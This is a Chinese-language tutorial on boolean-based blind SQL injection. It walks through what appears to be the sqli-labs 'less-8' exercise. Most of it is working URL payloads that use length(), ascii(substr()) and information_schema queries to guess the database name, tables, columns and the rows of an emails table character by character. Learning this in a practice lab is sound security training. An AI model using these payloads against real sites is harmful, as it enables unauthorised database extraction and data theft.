0x0 SQL注入基本姿势

盲注:就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。
length():用来判断字符传的长度,返回true或者false
length(database())>7 //database()的长度是否大于7
substr():截取字符串
ascii(substr(database(),1,1))>100 //将database()的第一个字符的ASCII码与100比较返回true或者false
limit(a,b):后缀两个参数的时候(/参数必须是一个整数常量/),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录。 limit(0,1) //从第0条开始,取出一条记录,也就是取出第0条记录

0x1 less-8

测试注入点 ?id=1' and 1=1 --+
?id=1' and 1=2 --+
可以看到,并没有返回报错的信息,但是当产生逻辑错误的时候就无法进入正确的网页
?id=0' or length(database())>7--+ //true
?id=0' or length(database())>8--+ //false
?id=0' or length(database())=8--+ //true
使用or 来判断逻辑上是否正确->才接database()的长度,0 or 1 = 1,所以只有当右边的语句正确时,才会产生正确的回显
同理,猜出数据库第一位字符
?id=0' or ascii(substr(database(),1,1))>100--+ //true
?id=0' or ascii(substr(database(),1,1))>120--+ //false
?id=0' or ascii(substr(database(),1,1))=115--+ //true
猜出数据库中表的数量
?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+
猜出第一个表中的第一个字符
?id=0' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
猜出字段长度
?id=0' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2--+
猜出字段名称的第一个字符
?id=0' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104--+
猜测表中字段具体内容的条数
?id=0' or 8=(select count(id) from security.emails)--+
查email_id字段的第一条具体内容
?id=0' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68--+